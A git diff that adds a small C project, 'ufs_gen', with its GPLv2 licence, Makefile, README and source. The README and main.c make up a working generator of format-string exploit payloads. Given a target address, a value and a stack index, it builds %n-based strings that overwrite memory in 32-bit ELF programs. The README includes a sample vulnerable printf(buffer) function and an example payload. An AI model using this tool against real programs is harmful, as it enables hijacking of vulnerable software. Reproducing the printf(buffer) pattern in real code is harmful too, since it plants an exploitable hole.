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diff --git a/COPYING b/COPYING
new file mode 100644
index 0000000..d7f1051
--- /dev/null
+++ b/COPYING
@@ -0,0 +1,339 @@
+GNU GENERAL PUBLIC LICENSE
+                       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc., <http://fsf.org/>
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Lesser General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
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+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
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+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
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+
+    b) You must cause any work that you distribute or publish, that in
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+    part thereof, to be licensed as a whole at no charge to all third
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+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
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+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
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+
+Thus, it is not the intent of this section to claim rights or contest
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+In addition, mere aggregation of another work not based on the Program
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+a storage or distribution medium does not bring the other work under
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+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
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+
+  4. You may not copy, modify, sublicense, or distribute the Program
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+void, and will automatically terminate your rights under this License.
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+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
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+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
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+License and any other pertinent obligations, then as a consequence you
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+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
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+
+It is not the purpose of this section to induce you to infringe any
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+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
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+to distribute software through any other system and a licensee cannot
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+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+                            NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    {description}
+    Copyright (C) {year}  {fullname}
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License along
+    with this program; if not, write to the Free Software Foundation, Inc.,
+    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  {signature of Ty Coon}, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.
diff --git a/Makefile b/Makefile
new file mode 100644
index 0000000..f22b215
--- /dev/null
+++ b/Makefile
@@ -0,0 +1,46 @@
+## Copyright (C) 2014 Olivier Gayot
+##
+## This program is free software; you can redistribute it and/or modify
+## it under the terms of the GNU General Public License as published by
+## the Free Software Foundation; either version 2 of the License, or
+## (at your option) any later version.
+##
+## This program is distributed in the hope that it will be useful,
+## but WITHOUT ANY WARRANTY; without even the implied warranty of
+## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+## GNU General Public License for more details.
+##
+## You should have received a copy of the GNU General Public License along
+## with this program; if not, write to the Free Software Foundation, Inc.,
+## 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+
+CC       ?= gcc
+CFLAGS   += -W -Wall -std=gnu99 -Wextra
+LDFLAGS  += 
+NAME      = ufs_gen
+SRC       = main.c
+
+all: depend $(NAME)
+
+depend: .depend
+
+.depend: $(SRC)
+	@$(RM) .depend
+	@$(CC) $(CFLAGS) -MM $^ > .depend
+
+include .depend
+
+OBJ     = $(SRC:.c=.o)
+
+$(NAME): $(OBJ)
+	$(CC) -o $@ $^ $(LDFLAGS)
+
+clean:
+	$(RM) $(OBJ)
+
+fclean: clean
+	$(RM) $(NAME)
+
+re: fclean all
+
+.PHONY: all depend clean fclean all re
diff --git a/README b/README
new file mode 100644
index 0000000..b2d9679
--- /dev/null
+++ b/README
@@ -0,0 +1,51 @@
+ufs_gen
+=======
+
+This software allows you to generate a payload which may override an address
+with the value of your choice.
+
+The syntax is quite simple:
+
+There are three parameters needed for the program to run correctly.
+
+stackidx: this parameter specifies how many dwords you need to access the
+beginning of your buffer (or payload).
+
+override: the address to override
+
+with: the value to inject at the address overriden
+
+This software is intended to work with an ELF32 generated by a typical code.
+
+example:
+
+int function(const char *payload)
+{
+    char buffer[BUFSIZ];
+
+    strncpy(buffer, payload, sizeof(buffer));
+    buffer[sizeof(buffer) - 1] = '\0';
+
+    printf(buffer);
+
+    return 0;
+}
+
+The support of ELF64 and other formats is intended but not written yet.
+Although the option 'addrsize' might already be used to specify if an address
+is not 4 bytes long, there is very few chances that it would work correctly.
+
+The support of printf(payload) directly (i.e. without a temporary buffer) is 
+also planned.
+
+Example
+=======
+
+user@localhost$ ./ufs_gen --override 0x11223344 --with 0x55667788 --stackidx 4
+D3"E3"F3"G3"%120x%4$n%239x%5$n%239x%6$n%239x%7$n
+
+License
+=======
+
+This software is free software covered by the GPL license v2. You should
+read the COPYING file to understand what is implied.
diff --git a/main.c b/main.c
new file mode 100644
index 0000000..690ce83
--- /dev/null
+++ b/main.c
@@ -0,0 +1,203 @@
+/*
+ * Copyright (C) 2014 Olivier Gayot
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ 
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ 
+ * You should have received a copy of the GNU General Public License along
+ * with this program; if not, write to the Free Software Foundation, Inc.,
+ * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ */
+
+#include <assert.h>
+#include <stdbool.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sysexits.h>
+#include <stdio.h>
+#include <getopt.h>
+
+unsigned char buffer[4096];
+
+/* address to override */
+static unsigned long override_addr_g;
+
+/* address to jump to */
+static unsigned long jmp_addr_g;
+
+/* index of the element on the stack which is the beginning of the buffer */
+static unsigned int idx_stack_g;
+
+/* assume that an address is 'address_size_g' bytes long */
+static int address_size_g = 4;
+
+    __attribute__((noreturn))
+static void usage(const char *arg0)
+{
+    fprintf(stderr, "usage: %s --override addr --with addr --stackidx idx\n", arg0);
+    fprintf(stderr, "       %s --override addr --with addr --stackidx idx --addrsize size\n", arg0);
+
+    exit(EX_USAGE);
+}
+
+/*
+ * this function uses getopt to parse the options.
+ * it returns 0 on success; otherwise it returns a negative number
+ */
+static int parse_arguments(int argc, char *argv[])
+{
+    bool override_set = false;
+    bool stackidx_set = false;
+    bool with_set = false;
+
+    for (;;) {
+	/* declaration of the options which we handle */
+	enum {
+	    OPT_OVERRIDE,
+	    OPT_WITH,
+	    OPT_STACKIDX,
+	    OPT_ADDR_SIZE,
+	};
+
+	static struct option long_options[] = {
+	    {"override", required_argument, 0, OPT_OVERRIDE},
+	    {"with",     required_argument, 0, OPT_WITH},
+	    {"stackidx", required_argument, 0, OPT_STACKIDX},
+	    {"addrsize", required_argument, 0, OPT_ADDR_SIZE},
+	};
+
+	int option_index;
+	int c = getopt_long(argc, argv, "", long_options, &option_index);
+
+	if (c == -1) {
+	    break;
+	}
+
+	switch (c) {
+	    case OPT_OVERRIDE:
+		override_addr_g = strtoul(optarg, NULL, 16);
+		override_set = true;
+		break;
+	    case OPT_WITH:
+		jmp_addr_g = strtoul(optarg, NULL, 16);
+		with_set = true;
+		break;
+	    case OPT_STACKIDX:
+		idx_stack_g = atoi(optarg);
+		stackidx_set = true;
+		break;
+	    case OPT_ADDR_SIZE:
+		address_size_g = atoi(optarg);
+
+		if (address_size_g < 1 || address_size_g > 8) {
+		    return -1;
+		}
+
+		break;
+	    default:
+		/*
+		 * we must have accessed an option which we do not have
+		 * specified in our switch-case
+		 */
+
+		assert (false);
+
+		break;
+	}
+    }
+
+    if (optind < argc) {
+	return -1;
+    }
+
+    if (!override_set || !stackidx_set || !with_set) {
+	return -1;
+    }
+
+    return 0;
+}
+
+/*
+ * this function returns the number of remaining bytes to write in order to
+ * have a %n printing the expected value
+ */
+static int calc_remaining(unsigned int needed, unsigned int *so_far)
+{
+    int ret;
+
+    assert(needed <= 0xff);
+
+    if (needed >= (*so_far % 0x100)) {
+	ret = needed - (*so_far % 0x100);
+    } else {
+	ret = 0x100 - ((*so_far % 0x100) - needed);
+    }
+
+    *so_far += ret;
+
+    return ret;
+}
+
+int main(int argc, char *argv[])
+{
+#define PUT_ADDR(_offset) \
+    do { \
+	typeof(override_addr_g) override_addr = override_addr_g + _offset * 0x10; \
+	\
+	for (int sh = 0; sh < address_size_g; ++sh) { \
+	    for (int shift = 0; shift < address_size_g; ++shift) { \
+		buffer[i++] = (override_addr >> (shift * 8)) & 0xff; \
+		++written; \
+	    } \
+	    ++override_addr; \
+	} \
+    } while (0);
+
+    unsigned int i = 0;
+    unsigned int written = 0;
+    unsigned int values_pop = 0;
+
+    if (parse_arguments(argc, argv) < 0) {
+	usage(argv[0]);
+    }
+
+    PUT_ADDR(0);
+
+    /* override the address */
+    for (int shift = 0; shift < address_size_g; ++shift) {
+	int remaining;
+
+	if ((remaining = calc_remaining((jmp_addr_g >> (shift * 8)) & 0xff, &written)) < 8) {
+	    memcpy(buffer + i, "ffffffff", remaining);
+	    i += remaining;
+	} else {
+	    i += sprintf((char *)buffer + i, "%%%dx", remaining);
+	    ++values_pop;
+	}
+
+	if (values_pop == idx_stack_g) {
+	    /* (very) unlikely */
+
+	    i += sprintf((char *)buffer + i, "%%n");
+	    ++values_pop;
+	} else {
+	    i += sprintf((char *)buffer + i, "%%%d$n", idx_stack_g);
+	}
+
+	++idx_stack_g;
+    }
+
+    /* we write our payload */
+    fwrite(buffer, 1, i, stdout);
+
+    return 0;
+
+#undef PUT_ADDR
+}